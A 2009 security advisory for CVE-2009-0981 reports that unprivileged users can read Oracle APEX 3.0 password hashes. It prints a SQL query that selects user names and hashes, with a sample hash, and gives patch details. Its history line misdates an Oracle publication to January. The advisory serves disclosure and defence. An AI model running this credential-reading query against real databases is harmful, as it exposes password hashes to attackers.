Name              Unprivileged DB users can see APEX password hashes
Systems Affected  APEX 3.0 (optional component of 11.1.0.7 installation)
Severity          High Risk
Category          Password Disclosure
Vendor URL http://www.oracle.com/ 
Author            Alexander Kornbrust (ak at red-database-security.com)
CVE               CVE-2009-0981
Advisory          14 April 2009 (V 1.00)


Details:
Unprivileged database users can see APEX password hashes in FLOWS_030000.WWV_FLOW_USER.

SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME    WEB_PASSWORD2
----------------------------------------------------------------------
YURI                 141FA790354FB6C72802FDEA86353F31

This password hash can be checked using a tool like Repscan.


Additional information is available in the following advisory.


Advisory:
http://www.red-database-security.com/advisory/apex_password_hashes.html 


Patch Information:
Upgrade to Oracle APEX 3.2.


Verification:
Our Oracle database scanner Repscan was updated with the information from the Oracle
CPU April 2009 and can identify vulnerable databases. 
More Information about Repscan can be found here:
http://www.sentrigo.com/repscan 


History:
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published


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